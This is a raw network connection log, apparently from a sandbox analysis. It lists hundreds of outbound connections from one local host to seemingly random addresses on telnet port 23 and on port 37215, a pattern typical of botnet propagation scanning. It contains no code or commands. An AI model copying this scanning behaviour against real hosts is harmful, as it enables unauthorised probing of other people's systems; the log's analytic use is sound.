Nov 23, 2023 05:14:48.592547894 CET	55738	23	192.168.2.13	116.54.66.177
Nov 23, 2023 05:14:48.592566013 CET	55738	23	192.168.2.13	156.84.229.33
Nov 23, 2023 05:14:48.592566013 CET	55738	23	192.168.2.13	107.90.211.84
Nov 23, 2023 05:14:48.592567921 CET	55738	23	192.168.2.13	252.191.136.225
Nov 23, 2023 05:14:48.592586994 CET	55738	23	192.168.2.13	240.246.59.125
Nov 23, 2023 05:14:48.592586994 CET	55738	23	192.168.2.13	248.43.89.254
Nov 23, 2023 05:14:48.592590094 CET	55738	23	192.168.2.13	68.55.104.189
Nov 23, 2023 05:14:48.592597008 CET	55738	23	192.168.2.13	121.102.23.127
Nov 23, 2023 05:14:48.592597008 CET	55738	23	192.168.2.13	78.180.43.195
Nov 23, 2023 05:14:48.592616081 CET	55738	23	192.168.2.13	116.67.155.161
Nov 23, 2023 05:14:48.592617035 CET	55738	23	192.168.2.13	133.72.232.116
Nov 23, 2023 05:14:48.592618942 CET	55738	23	192.168.2.13	202.157.109.41
Nov 23, 2023 05:14:48.592626095 CET	55738	23	192.168.2.13	154.72.44.20
Nov 23, 2023 05:14:48.592628002 CET	55738	23	192.168.2.13	63.167.48.56
Nov 23, 2023 05:14:48.592632055 CET	55738	23	192.168.2.13	201.61.216.137
Nov 23, 2023 05:14:48.592632055 CET	55738	23	192.168.2.13	182.205.21.217
Nov 23, 2023 05:14:48.592632055 CET	55738	23	192.168.2.13	250.102.211.198
Nov 23, 2023 05:14:48.592633963 CET	55738	23	192.168.2.13	39.91.162.70
Nov 23, 2023 05:14:48.592650890 CET	55738	23	192.168.2.13	12.205.20.138
Nov 23, 2023 05:14:48.592669010 CET	55738	23	192.168.2.13	35.89.105.169
Nov 23, 2023 05:14:48.592680931 CET	55738	23	192.168.2.13	71.112.80.233
Nov 23, 2023 05:14:48.592681885 CET	55738	23	192.168.2.13	253.239.136.147
Nov 23, 2023 05:14:48.592684984 CET	55738	23	192.168.2.13	27.102.100.102
Nov 23, 2023 05:14:48.592693090 CET	55738	23	192.168.2.13	70.246.255.154
Nov 23, 2023 05:14:48.592699051 CET	55738	23	192.168.2.13	240.104.93.249
Nov 23, 2023 05:14:48.592701912 CET	55738	23	192.168.2.13	31.44.93.204
Nov 23, 2023 05:14:48.592708111 CET	55738	23	192.168.2.13	101.215.86.27
Nov 23, 2023 05:14:48.592708111 CET	55738	23	192.168.2.13	211.169.100.209
Nov 23, 2023 05:14:48.592717886 CET	55738	23	192.168.2.13	212.211.49.12
Nov 23, 2023 05:14:48.592729092 CET	55738	23	192.168.2.13	121.1.215.130
Nov 23, 2023 05:14:48.592729092 CET	55738	23	192.168.2.13	35.238.117.49
Nov 23, 2023 05:14:48.592758894 CET	55738	23	192.168.2.13	102.130.253.156
Nov 23, 2023 05:14:48.592758894 CET	55738	23	192.168.2.13	82.39.247.204
Nov 23, 2023 05:14:48.592761040 CET	55738	23	192.168.2.13	206.58.177.47
Nov 23, 2023 05:14:48.592777014 CET	55738	23	192.168.2.13	240.82.236.133
Nov 23, 2023 05:14:48.592777014 CET	55738	23	192.168.2.13	185.16.150.24
Nov 23, 2023 05:14:48.592786074 CET	55738	23	192.168.2.13	32.227.3.133
Nov 23, 2023 05:14:48.592787027 CET	55738	23	192.168.2.13	159.148.237.22
Nov 23, 2023 05:14:48.592797041 CET	55738	23	192.168.2.13	173.84.76.252
Nov 23, 2023 05:14:48.592798948 CET	55738	23	192.168.2.13	150.64.230.254
Nov 23, 2023 05:14:48.592803955 CET	55738	23	192.168.2.13	96.196.235.41
Nov 23, 2023 05:14:48.592809916 CET	55738	23	192.168.2.13	177.163.14.151
Nov 23, 2023 05:14:48.592812061 CET	55738	23	192.168.2.13	203.100.140.138
Nov 23, 2023 05:14:48.592819929 CET	55738	23	192.168.2.13	51.8.206.171
Nov 23, 2023 05:14:48.592819929 CET	55738	23	192.168.2.13	169.191.123.36
Nov 23, 2023 05:14:48.592824936 CET	55738	23	192.168.2.13	208.175.239.138
Nov 23, 2023 05:14:48.592839003 CET	55738	23	192.168.2.13	66.93.168.185
Nov 23, 2023 05:14:48.592839003 CET	55738	23	192.168.2.13	53.199.113.93
Nov 23, 2023 05:14:48.592850924 CET	55738	23	192.168.2.13	254.110.106.161
Nov 23, 2023 05:14:48.592853069 CET	55738	23	192.168.2.13	42.157.58.229
Nov 23, 2023 05:14:48.592854977 CET	55738	23	192.168.2.13	188.28.248.225
Nov 23, 2023 05:14:48.592859983 CET	55738	23	192.168.2.13	62.144.1.79
Nov 23, 2023 05:14:48.592864037 CET	55738	23	192.168.2.13	100.247.158.118
Nov 23, 2023 05:14:48.592889071 CET	55738	23	192.168.2.13	202.26.232.169
Nov 23, 2023 05:14:48.592905998 CET	55738	23	192.168.2.13	85.5.0.216
Nov 23, 2023 05:14:48.592920065 CET	55738	23	192.168.2.13	246.233.194.164
Nov 23, 2023 05:14:48.592920065 CET	55738	23	192.168.2.13	243.234.98.157
Nov 23, 2023 05:14:48.592920065 CET	55738	23	192.168.2.13	106.2.90.15
Nov 23, 2023 05:14:48.592921972 CET	55738	23	192.168.2.13	87.232.129.149
Nov 23, 2023 05:14:48.592921972 CET	55738	23	192.168.2.13	46.223.61.217
Nov 23, 2023 05:14:48.592921972 CET	55738	23	192.168.2.13	107.178.255.144
Nov 23, 2023 05:14:48.592924118 CET	55738	23	192.168.2.13	148.211.85.138
Nov 23, 2023 05:14:48.592941046 CET	55738	23	192.168.2.13	123.132.125.84
Nov 23, 2023 05:14:48.592947006 CET	55738	23	192.168.2.13	241.94.187.207
Nov 23, 2023 05:14:48.592957973 CET	55738	23	192.168.2.13	164.187.186.214
Nov 23, 2023 05:14:48.592958927 CET	55738	23	192.168.2.13	81.66.224.2
Nov 23, 2023 05:14:48.592971087 CET	55738	23	192.168.2.13	158.198.62.227
Nov 23, 2023 05:14:48.592973948 CET	55738	23	192.168.2.13	193.204.172.58
Nov 23, 2023 05:14:48.592973948 CET	55738	23	192.168.2.13	120.135.139.3
Nov 23, 2023 05:14:48.592981100 CET	55738	23	192.168.2.13	180.255.19.39
Nov 23, 2023 05:14:48.592991114 CET	55738	23	192.168.2.13	93.235.19.203
Nov 23, 2023 05:14:48.592998981 CET	55738	23	192.168.2.13	223.252.128.7
Nov 23, 2023 05:14:48.592998981 CET	55738	23	192.168.2.13	5.213.98.39
Nov 23, 2023 05:14:48.593012094 CET	55738	23	192.168.2.13	59.252.254.92
Nov 23, 2023 05:14:48.593023062 CET	55738	23	192.168.2.13	68.209.11.120
Nov 23, 2023 05:14:48.593030930 CET	55738	23	192.168.2.13	254.191.36.148
Nov 23, 2023 05:14:48.593036890 CET	55738	23	192.168.2.13	20.248.202.81
Nov 23, 2023 05:14:48.593043089 CET	55738	23	192.168.2.13	169.214.74.137
Nov 23, 2023 05:14:48.593049049 CET	55738	23	192.168.2.13	125.133.9.111
Nov 23, 2023 05:14:48.593049049 CET	55738	23	192.168.2.13	83.84.105.180
Nov 23, 2023 05:14:48.593050003 CET	55738	23	192.168.2.13	142.119.203.10
Nov 23, 2023 05:14:48.593054056 CET	55738	23	192.168.2.13	24.240.22.244
Nov 23, 2023 05:14:48.593055010 CET	55738	23	192.168.2.13	9.100.39.34
Nov 23, 2023 05:14:48.593061924 CET	55738	23	192.168.2.13	172.222.165.17
Nov 23, 2023 05:14:48.593063116 CET	55738	23	192.168.2.13	76.119.231.249
Nov 23, 2023 05:14:48.593080044 CET	55738	23	192.168.2.13	53.195.50.229
Nov 23, 2023 05:14:48.593081951 CET	55738	23	192.168.2.13	41.117.9.149
Nov 23, 2023 05:14:48.593081951 CET	55738	23	192.168.2.13	192.162.117.183
Nov 23, 2023 05:14:48.593094110 CET	55738	23	192.168.2.13	2.132.7.100
Nov 23, 2023 05:14:48.593094110 CET	55738	23	192.168.2.13	249.17.153.45
Nov 23, 2023 05:14:48.593113899 CET	55738	23	192.168.2.13	191.31.73.114
Nov 23, 2023 05:14:48.593115091 CET	55738	23	192.168.2.13	91.42.32.51
Nov 23, 2023 05:14:48.593115091 CET	55738	23	192.168.2.13	27.255.142.27
Nov 23, 2023 05:14:48.593123913 CET	55738	23	192.168.2.13	87.195.241.211
Nov 23, 2023 05:14:48.593125105 CET	55738	23	192.168.2.13	186.233.177.155
Nov 23, 2023 05:14:48.593138933 CET	55738	23	192.168.2.13	71.60.97.207
Nov 23, 2023 05:14:48.593142033 CET	55738	23	192.168.2.13	178.14.16.204
Nov 23, 2023 05:14:48.593147039 CET	55738	23	192.168.2.13	31.200.233.236
Nov 23, 2023 05:14:48.593163967 CET	55738	23	192.168.2.13	46.20.158.103
Nov 23, 2023 05:14:48.593178988 CET	55738	23	192.168.2.13	243.249.151.2
Nov 23, 2023 05:14:48.593178988 CET	55738	23	192.168.2.13	5.75.202.223
Nov 23, 2023 05:14:48.593178988 CET	55738	23	192.168.2.13	244.85.10.10
Nov 23, 2023 05:14:48.593183994 CET	55738	23	192.168.2.13	135.8.191.6
Nov 23, 2023 05:14:48.593183994 CET	55738	23	192.168.2.13	103.231.168.240
Nov 23, 2023 05:14:48.593183994 CET	55738	23	192.168.2.13	163.155.192.75
Nov 23, 2023 05:14:48.593199015 CET	55738	23	192.168.2.13	41.174.21.30
Nov 23, 2023 05:14:48.593204021 CET	55738	23	192.168.2.13	123.216.124.222
Nov 23, 2023 05:14:48.593204975 CET	55738	23	192.168.2.13	206.203.160.108
Nov 23, 2023 05:14:48.593213081 CET	55738	23	192.168.2.13	36.82.78.197
Nov 23, 2023 05:14:48.593213081 CET	55738	23	192.168.2.13	247.210.201.8
Nov 23, 2023 05:14:48.593225002 CET	55738	23	192.168.2.13	175.237.17.192
Nov 23, 2023 05:14:48.593229055 CET	55738	23	192.168.2.13	31.17.217.37
Nov 23, 2023 05:14:48.593250990 CET	55738	23	192.168.2.13	185.58.193.98
Nov 23, 2023 05:14:48.593262911 CET	55738	23	192.168.2.13	84.127.97.241
Nov 23, 2023 05:14:48.593264103 CET	55738	23	192.168.2.13	171.184.59.226
Nov 23, 2023 05:14:48.593265057 CET	55738	23	192.168.2.13	2.225.81.162
Nov 23, 2023 05:14:48.593266964 CET	55738	23	192.168.2.13	121.195.201.144
Nov 23, 2023 05:14:48.593266964 CET	55738	23	192.168.2.13	86.81.207.106
Nov 23, 2023 05:14:48.593267918 CET	55738	23	192.168.2.13	101.92.116.7
Nov 23, 2023 05:14:48.593269110 CET	55738	23	192.168.2.13	85.62.1.171
Nov 23, 2023 05:14:48.593278885 CET	55738	23	192.168.2.13	62.182.70.137
Nov 23, 2023 05:14:48.593283892 CET	55738	23	192.168.2.13	155.116.131.230
Nov 23, 2023 05:14:48.593286991 CET	55738	23	192.168.2.13	212.110.141.194
Nov 23, 2023 05:14:48.593316078 CET	55738	23	192.168.2.13	92.10.249.195
Nov 23, 2023 05:14:48.593316078 CET	55738	23	192.168.2.13	253.116.131.245
Nov 23, 2023 05:14:48.593341112 CET	55738	23	192.168.2.13	195.114.150.122
Nov 23, 2023 05:14:48.593341112 CET	55738	23	192.168.2.13	27.182.106.227
Nov 23, 2023 05:14:48.593341112 CET	55738	23	192.168.2.13	80.175.148.167
Nov 23, 2023 05:14:48.593342066 CET	55738	23	192.168.2.13	161.206.142.119
Nov 23, 2023 05:14:48.593342066 CET	55738	23	192.168.2.13	12.189.216.65
Nov 23, 2023 05:14:48.593342066 CET	55738	23	192.168.2.13	113.172.68.51
Nov 23, 2023 05:14:48.593342066 CET	55738	23	192.168.2.13	36.96.65.89
Nov 23, 2023 05:14:48.593344927 CET	55738	23	192.168.2.13	223.165.55.126
Nov 23, 2023 05:14:48.593342066 CET	55738	23	192.168.2.13	130.217.57.136
Nov 23, 2023 05:14:48.593344927 CET	55738	23	192.168.2.13	68.37.242.236
Nov 23, 2023 05:14:48.593355894 CET	55738	23	192.168.2.13	201.106.64.136
Nov 23, 2023 05:14:48.593364000 CET	55738	23	192.168.2.13	190.176.171.7
Nov 23, 2023 05:14:48.593365908 CET	55738	23	192.168.2.13	1.235.83.84
Nov 23, 2023 05:14:48.593368053 CET	55738	23	192.168.2.13	91.207.128.153
Nov 23, 2023 05:14:48.593379021 CET	55738	23	192.168.2.13	53.23.135.54
Nov 23, 2023 05:14:48.593379021 CET	55738	23	192.168.2.13	205.120.243.134
Nov 23, 2023 05:14:48.593383074 CET	55738	23	192.168.2.13	58.106.101.127
Nov 23, 2023 05:14:48.593394995 CET	55738	23	192.168.2.13	146.183.121.53
Nov 23, 2023 05:14:48.593394995 CET	55738	23	192.168.2.13	241.23.18.37
Nov 23, 2023 05:14:48.593395948 CET	55738	23	192.168.2.13	154.123.99.179
Nov 23, 2023 05:14:48.593410969 CET	55738	23	192.168.2.13	121.132.80.101
Nov 23, 2023 05:14:48.593410969 CET	55738	23	192.168.2.13	18.252.58.97
Nov 23, 2023 05:14:48.593415976 CET	55738	23	192.168.2.13	142.24.47.176
Nov 23, 2023 05:14:48.593419075 CET	55738	23	192.168.2.13	38.184.230.73
Nov 23, 2023 05:14:48.593420982 CET	55738	23	192.168.2.13	97.162.164.57
Nov 23, 2023 05:14:48.593422890 CET	55738	23	192.168.2.13	251.189.59.186
Nov 23, 2023 05:14:48.593435049 CET	55738	23	192.168.2.13	195.133.255.221
Nov 23, 2023 05:14:48.593439102 CET	55738	23	192.168.2.13	166.120.101.9
Nov 23, 2023 05:14:48.593466043 CET	55738	23	192.168.2.13	144.82.232.82
Nov 23, 2023 05:14:48.593468904 CET	55738	23	192.168.2.13	47.52.138.169
Nov 23, 2023 05:14:48.593468904 CET	55738	23	192.168.2.13	168.25.208.196
Nov 23, 2023 05:14:48.593468904 CET	55738	23	192.168.2.13	150.24.234.69
Nov 23, 2023 05:14:48.593470097 CET	55738	23	192.168.2.13	77.132.67.168
Nov 23, 2023 05:14:48.593477011 CET	55738	23	192.168.2.13	8.86.80.241
Nov 23, 2023 05:14:48.593477011 CET	55738	23	192.168.2.13	218.228.53.220
Nov 23, 2023 05:14:48.593492985 CET	55738	23	192.168.2.13	5.132.247.203
Nov 23, 2023 05:14:48.593497038 CET	55738	23	192.168.2.13	24.36.185.30
Nov 23, 2023 05:14:48.593498945 CET	55738	23	192.168.2.13	254.175.59.19
Nov 23, 2023 05:14:48.593514919 CET	55738	23	192.168.2.13	205.214.244.173
Nov 23, 2023 05:14:48.593514919 CET	55738	23	192.168.2.13	243.12.137.14
Nov 23, 2023 05:14:48.593514919 CET	55738	23	192.168.2.13	71.187.144.144
Nov 23, 2023 05:14:48.593514919 CET	55738	23	192.168.2.13	161.49.205.52
Nov 23, 2023 05:14:48.593525887 CET	55738	23	192.168.2.13	200.140.143.144
Nov 23, 2023 05:14:48.593529940 CET	55738	23	192.168.2.13	117.31.252.126
Nov 23, 2023 05:14:48.593533039 CET	55738	23	192.168.2.13	205.162.131.149
Nov 23, 2023 05:14:48.593540907 CET	55738	23	192.168.2.13	86.168.159.103
Nov 23, 2023 05:14:48.593550920 CET	55738	23	192.168.2.13	216.98.41.13
Nov 23, 2023 05:14:48.593550920 CET	55738	23	192.168.2.13	194.125.18.36
Nov 23, 2023 05:14:48.593552113 CET	55738	23	192.168.2.13	188.47.190.187
Nov 23, 2023 05:14:48.593568087 CET	55738	23	192.168.2.13	16.57.83.200
Nov 23, 2023 05:14:48.593569994 CET	55738	23	192.168.2.13	212.184.181.152
Nov 23, 2023 05:14:48.593568087 CET	55738	23	192.168.2.13	161.248.72.122
Nov 23, 2023 05:14:48.593571901 CET	55738	23	192.168.2.13	193.201.51.30
Nov 23, 2023 05:14:48.593568087 CET	55738	23	192.168.2.13	125.191.96.1
Nov 23, 2023 05:14:48.593588114 CET	55738	23	192.168.2.13	188.249.2.25
Nov 23, 2023 05:14:48.593588114 CET	55738	23	192.168.2.13	76.93.142.37
Nov 23, 2023 05:14:48.593591928 CET	55738	23	192.168.2.13	162.59.142.145
Nov 23, 2023 05:14:48.593592882 CET	55738	23	192.168.2.13	217.176.249.26
Nov 23, 2023 05:14:48.593605995 CET	55738	23	192.168.2.13	98.65.149.178
Nov 23, 2023 05:14:48.593605995 CET	55738	23	192.168.2.13	112.111.140.4
Nov 23, 2023 05:14:48.593610048 CET	55738	23	192.168.2.13	114.5.92.201
Nov 23, 2023 05:14:48.593632936 CET	55738	23	192.168.2.13	174.15.101.37
Nov 23, 2023 05:14:48.595951080 CET	54970	37215	192.168.2.13	41.102.126.158
Nov 23, 2023 05:14:48.595963001 CET	54970	37215	192.168.2.13	41.166.182.48
Nov 23, 2023 05:14:48.595963955 CET	54970	37215	192.168.2.13	197.9.157.243
Nov 23, 2023 05:14:48.595963955 CET	54970	37215	192.168.2.13	197.127.42.125
Nov 23, 2023 05:14:48.595963955 CET	54970	37215	192.168.2.13	197.112.108.175
Nov 23, 2023 05:14:48.595964909 CET	54970	37215	192.168.2.13	41.52.145.21
Nov 23, 2023 05:14:48.595977068 CET	54970	37215	192.168.2.13	197.46.167.1
Nov 23, 2023 05:14:48.595977068 CET	54970	37215	192.168.2.13	197.182.24.67
Nov 23, 2023 05:14:48.595978022 CET	54970	37215	192.168.2.13	41.174.7.136
Nov 23, 2023 05:14:48.595977068 CET	54970	37215	192.168.2.13	41.100.213.15
Nov 23, 2023 05:14:48.595988035 CET	54970	37215	192.168.2.13	156.198.250.225
Nov 23, 2023 05:14:48.595988035 CET	54970	37215	192.168.2.13	41.26.176.93
Nov 23, 2023 05:14:48.595988035 CET	54970	37215	192.168.2.13	156.52.89.64
Nov 23, 2023 05:14:48.595989943 CET	54970	37215	192.168.2.13	156.76.15.192
Nov 23, 2023 05:14:48.596005917 CET	54970	37215	192.168.2.13	197.162.137.134
Nov 23, 2023 05:14:48.596007109 CET	54970	37215	192.168.2.13	197.84.156.73
Nov 23, 2023 05:14:48.596005917 CET	54970	37215	192.168.2.13	41.219.37.65
Nov 23, 2023 05:14:48.596008062 CET	54970	37215	192.168.2.13	156.167.182.16
Nov 23, 2023 05:14:48.596014023 CET	54970	37215	192.168.2.13	41.247.43.233
Nov 23, 2023 05:14:48.596014023 CET	54970	37215	192.168.2.13	197.102.11.207
Nov 23, 2023 05:14:48.596018076 CET	54970	37215	192.168.2.13	197.34.239.2
Nov 23, 2023 05:14:48.596018076 CET	54970	37215	192.168.2.13	41.117.43.150
Nov 23, 2023 05:14:48.596025944 CET	54970	37215	192.168.2.13	41.31.159.254
Nov 23, 2023 05:14:48.596025944 CET	54970	37215	192.168.2.13	197.102.63.245
Nov 23, 2023 05:14:48.596035004 CET	54970	37215	192.168.2.13	156.170.187.119
Nov 23, 2023 05:14:48.596035004 CET	54970	37215	192.168.2.13	41.193.195.219
Nov 23, 2023 05:14:48.596036911 CET	54970	37215	192.168.2.13	41.197.119.50
Nov 23, 2023 05:14:48.596051931 CET	54970	37215	192.168.2.13	197.177.161.109
Nov 23, 2023 05:14:48.596052885 CET	54970	37215	192.168.2.13	41.61.128.162
Nov 23, 2023 05:14:48.596060991 CET	54970	37215	192.168.2.13	41.120.44.246
Nov 23, 2023 05:14:48.596066952 CET	54970	37215	192.168.2.13	197.59.199.70
Nov 23, 2023 05:14:48.596074104 CET	54970	37215	192.168.2.13	197.134.2.29
Nov 23, 2023 05:14:48.596075058 CET	54970	37215	192.168.2.13	156.201.140.198
Nov 23, 2023 05:14:48.596081018 CET	54970	37215	192.168.2.13	197.111.209.163
Nov 23, 2023 05:14:48.596085072 CET	54970	37215	192.168.2.13	41.118.193.219
Nov 23, 2023 05:14:48.596085072 CET	54970	37215	192.168.2.13	41.42.96.0
Nov 23, 2023 05:14:48.596096992 CET	54970	37215	192.168.2.13	156.151.145.172
Nov 23, 2023 05:14:48.596101999 CET	54970	37215	192.168.2.13	156.103.45.191
Nov 23, 2023 05:14:48.596102953 CET	54970	37215	192.168.2.13	156.18.68.250
Nov 23, 2023 05:14:48.596110106 CET	54970	37215	192.168.2.13	156.20.83.101
Nov 23, 2023 05:14:48.596110106 CET	54970	37215	192.168.2.13	41.194.81.187
Nov 23, 2023 05:14:48.596110106 CET	54970	37215	192.168.2.13	197.95.242.74
Nov 23, 2023 05:14:48.596112013 CET	54970	37215	192.168.2.13	197.154.39.223
Nov 23, 2023 05:14:48.596121073 CET	54970	37215	192.168.2.13	197.42.27.145
Nov 23, 2023 05:14:48.596123934 CET	54970	37215	192.168.2.13	41.86.123.214
Nov 23, 2023 05:14:48.596126080 CET	54970	37215	192.168.2.13	41.197.68.142
Nov 23, 2023 05:14:48.596126080 CET	54970	37215	192.168.2.13	41.197.87.26
Nov 23, 2023 05:14:48.596138000 CET	54970	37215	192.168.2.13	197.115.212.212
Nov 23, 2023 05:14:48.596148014 CET	54970	37215	192.168.2.13	156.193.152.119
Nov 23, 2023 05:14:48.596154928 CET	54970	37215	192.168.2.13	197.250.137.10
Nov 23, 2023 05:14:48.596154928 CET	54970	37215	192.168.2.13	156.100.63.234
Nov 23, 2023 05:14:48.596155882 CET	54970	37215	192.168.2.13	156.144.46.98
Nov 23, 2023 05:14:48.596157074 CET	54970	37215	192.168.2.13	156.122.157.194
Nov 23, 2023 05:14:48.596158028 CET	54970	37215	192.168.2.13	197.88.6.176
Nov 23, 2023 05:14:48.596168995 CET	54970	37215	192.168.2.13	41.100.202.42
Nov 23, 2023 05:14:48.596177101 CET	54970	37215	192.168.2.13	41.187.108.21
Nov 23, 2023 05:14:48.596194983 CET	54970	37215	192.168.2.13	156.104.189.233
Nov 23, 2023 05:14:48.596194983 CET	54970	37215	192.168.2.13	156.164.148.5
Nov 23, 2023 05:14:48.596220970 CET	54970	37215	192.168.2.13	41.137.244.55
Nov 23, 2023 05:14:48.596221924 CET	54970	37215	192.168.2.13	156.39.184.28
Nov 23, 2023 05:14:48.596221924 CET	54970	37215	192.168.2.13	41.4.154.94
Nov 23, 2023 05:14:48.596223116 CET	54970	37215	192.168.2.13	41.116.94.109
Nov 23, 2023 05:14:48.596224070 CET	54970	37215	192.168.2.13	41.203.104.126
Nov 23, 2023 05:14:48.596224070 CET	54970	37215	192.168.2.13	41.82.119.174
Nov 23, 2023 05:14:48.596224070 CET	54970	37215	192.168.2.13	197.110.222.118
Nov 23, 2023 05:14:48.596224070 CET	54970	37215	192.168.2.13	197.112.14.183
Nov 23, 2023 05:14:48.596229076 CET	54970	37215	192.168.2.13	41.97.186.47
Nov 23, 2023 05:14:48.596229076 CET	54970	37215	192.168.2.13	41.120.247.108
Nov 23, 2023 05:14:48.596230984 CET	54970	37215	192.168.2.13	156.167.34.44
Nov 23, 2023 05:14:48.596240044 CET	54970	37215	192.168.2.13	197.217.150.206
Nov 23, 2023 05:14:48.596242905 CET	54970	37215	192.168.2.13	156.52.13.109
Nov 23, 2023 05:14:48.596255064 CET	54970	37215	192.168.2.13	41.103.247.94
Nov 23, 2023 05:14:48.596256018 CET	54970	37215	192.168.2.13	156.93.73.7
Nov 23, 2023 05:14:48.596257925 CET	54970	37215	192.168.2.13	41.52.195.232
Nov 23, 2023 05:14:48.596257925 CET	54970	37215	192.168.2.13	197.176.4.247
Nov 23, 2023 05:14:48.596271992 CET	54970	37215	192.168.2.13	156.220.113.46
Nov 23, 2023 05:14:48.596271992 CET	54970	37215	192.168.2.13	197.56.222.230
Nov 23, 2023 05:14:48.596273899 CET	54970	37215	192.168.2.13	156.34.224.149
Nov 23, 2023 05:14:48.596282959 CET	54970	37215	192.168.2.13	41.233.241.175
Nov 23, 2023 05:14:48.596298933 CET	54970	37215	192.168.2.13	156.154.95.72
Nov 23, 2023 05:14:48.596302032 CET	54970	37215	192.168.2.13	41.123.187.0
Nov 23, 2023 05:14:48.596302032 CET	54970	37215	192.168.2.13	41.234.114.137
Nov 23, 2023 05:14:48.596302032 CET	54970	37215	192.168.2.13	197.140.216.129
Nov 23, 2023 05:14:48.596306086 CET	54970	37215	192.168.2.13	156.162.85.90
Nov 23, 2023 05:14:48.596323967 CET	54970	37215	192.168.2.13	41.28.146.254
Nov 23, 2023 05:14:48.596323967 CET	54970	37215	192.168.2.13	197.62.93.237
Nov 23, 2023 05:14:48.596326113 CET	54970	37215	192.168.2.13	41.211.138.239
Nov 23, 2023 05:14:48.596328020 CET	54970	37215	192.168.2.13	197.66.131.189
Nov 23, 2023 05:14:48.596328020 CET	54970	37215	192.168.2.13	197.15.152.228
Nov 23, 2023 05:14:48.596328974 CET	54970	37215	192.168.2.13	41.249.178.78
Nov 23, 2023 05:14:48.596354008 CET	54970	37215	192.168.2.13	156.65.247.224
Nov 23, 2023 05:14:48.596354008 CET	54970	37215	192.168.2.13	197.74.215.255
Nov 23, 2023 05:14:48.596354961 CET	54970	37215	192.168.2.13	156.133.253.224
Nov 23, 2023 05:14:48.596355915 CET	54970	37215	192.168.2.13	197.154.137.49
Nov 23, 2023 05:14:48.596355915 CET	54970	37215	192.168.2.13	41.84.50.20
Nov 23, 2023 05:14:48.596376896 CET	54970	37215	192.168.2.13	197.25.254.45
Nov 23, 2023 05:14:48.596376896 CET	54970	37215	192.168.2.13	156.232.178.34
Nov 23, 2023 05:14:48.596378088 CET	54970	37215	192.168.2.13	41.64.148.81
Nov 23, 2023 05:14:48.596389055 CET	54970	37215	192.168.2.13	41.77.146.207
Nov 23, 2023 05:14:48.596404076 CET	54970	37215	192.168.2.13	197.69.25.156
Nov 23, 2023 05:14:48.596405983 CET	54970	37215	192.168.2.13	156.165.216.221
Nov 23, 2023 05:14:48.596405983 CET	54970	37215	192.168.2.13	156.182.138.179
Nov 23, 2023 05:14:48.596406937 CET	54970	37215	192.168.2.13	197.137.62.99
Nov 23, 2023 05:14:48.596405983 CET	54970	37215	192.168.2.13	156.231.254.160
Nov 23, 2023 05:14:48.596405983 CET	54970	37215	192.168.2.13	41.146.38.187
Nov 23, 2023 05:14:48.596415997 CET	54970	37215	192.168.2.13	41.151.211.222
Nov 23, 2023 05:14:48.596415997 CET	54970	37215	192.168.2.13	156.221.220.104
Nov 23, 2023 05:14:48.596422911 CET	54970	37215	192.168.2.13	41.84.151.7
Nov 23, 2023 05:14:48.596425056 CET	54970	37215	192.168.2.13	156.126.224.69
Nov 23, 2023 05:14:48.596422911 CET	54970	37215	192.168.2.13	156.23.140.173
Nov 23, 2023 05:14:48.596422911 CET	54970	37215	192.168.2.13	156.220.215.176
Nov 23, 2023 05:14:48.596426964 CET	54970	37215	192.168.2.13	41.199.207.251
Nov 23, 2023 05:14:48.596437931 CET	54970	37215	192.168.2.13	197.116.190.141
Nov 23, 2023 05:14:48.596445084 CET	54970	37215	192.168.2.13	41.55.179.76
Nov 23, 2023 05:14:48.596445084 CET	54970	37215	192.168.2.13	156.182.10.67
Nov 23, 2023 05:14:48.596446991 CET	54970	37215	192.168.2.13	41.24.63.105
Nov 23, 2023 05:14:48.596452951 CET	54970	37215	192.168.2.13	156.195.68.9
Nov 23, 2023 05:14:48.596452951 CET	54970	37215	192.168.2.13	41.137.130.27
Nov 23, 2023 05:14:48.596452951 CET	54970	37215	192.168.2.13	41.149.113.137
Nov 23, 2023 05:14:48.596452951 CET	54970	37215	192.168.2.13	41.29.77.179
Nov 23, 2023 05:14:48.596471071 CET	54970	37215	192.168.2.13	156.42.250.227
Nov 23, 2023 05:14:48.596472979 CET	54970	37215	192.168.2.13	197.246.8.235
Nov 23, 2023 05:14:48.596472979 CET	54970	37215	192.168.2.13	197.20.112.167
Nov 23, 2023 05:14:48.596474886 CET	54970	37215	192.168.2.13	41.251.89.8
Nov 23, 2023 05:14:48.596477032 CET	54970	37215	192.168.2.13	197.67.7.153
Nov 23, 2023 05:14:48.596483946 CET	54970	37215	192.168.2.13	156.9.112.118
Nov 23, 2023 05:14:48.596484900 CET	54970	37215	192.168.2.13	197.107.112.123
Nov 23, 2023 05:14:48.596493959 CET	54970	37215	192.168.2.13	41.50.202.244
Nov 23, 2023 05:14:48.596504927 CET	54970	37215	192.168.2.13	197.119.245.247
Nov 23, 2023 05:14:48.596510887 CET	54970	37215	192.168.2.13	41.223.229.63
Nov 23, 2023 05:14:48.596510887 CET	54970	37215	192.168.2.13	156.95.131.151
Nov 23, 2023 05:14:48.596515894 CET	54970	37215	192.168.2.13	156.219.78.67
Nov 23, 2023 05:14:48.596519947 CET	54970	37215	192.168.2.13	156.126.49.254
Nov 23, 2023 05:14:48.596519947 CET	54970	37215	192.168.2.13	41.83.186.179
Nov 23, 2023 05:14:48.596534967 CET	54970	37215	192.168.2.13	41.134.112.171
Nov 23, 2023 05:14:48.596540928 CET	54970	37215	192.168.2.13	197.41.159.43
Nov 23, 2023 05:14:48.596540928 CET	54970	37215	192.168.2.13	197.145.109.192
Nov 23, 2023 05:14:48.596540928 CET	54970	37215	192.168.2.13	41.21.182.46
Nov 23, 2023 05:14:48.596540928 CET	54970	37215	192.168.2.13	156.170.42.10
Nov 23, 2023 05:14:48.596564054 CET	54970	37215	192.168.2.13	156.146.104.245
Nov 23, 2023 05:14:48.596570969 CET	54970	37215	192.168.2.13	156.6.109.4
Nov 23, 2023 05:14:48.596570969 CET	54970	37215	192.168.2.13	156.64.72.214
Nov 23, 2023 05:14:48.596575975 CET	54970	37215	192.168.2.13	197.140.146.230
Nov 23, 2023 05:14:48.596575975 CET	54970	37215	192.168.2.13	41.28.91.227
Nov 23, 2023 05:14:48.596576929 CET	54970	37215	192.168.2.13	41.252.98.207
Nov 23, 2023 05:14:48.596575975 CET	54970	37215	192.168.2.13	156.130.69.167
Nov 23, 2023 05:14:48.596576929 CET	54970	37215	192.168.2.13	156.1.243.177
Nov 23, 2023 05:14:48.596582890 CET	54970	37215	192.168.2.13	197.140.200.209
Nov 23, 2023 05:14:48.596582890 CET	54970	37215	192.168.2.13	197.104.246.254
Nov 23, 2023 05:14:48.596595049 CET	54970	37215	192.168.2.13	41.150.98.136
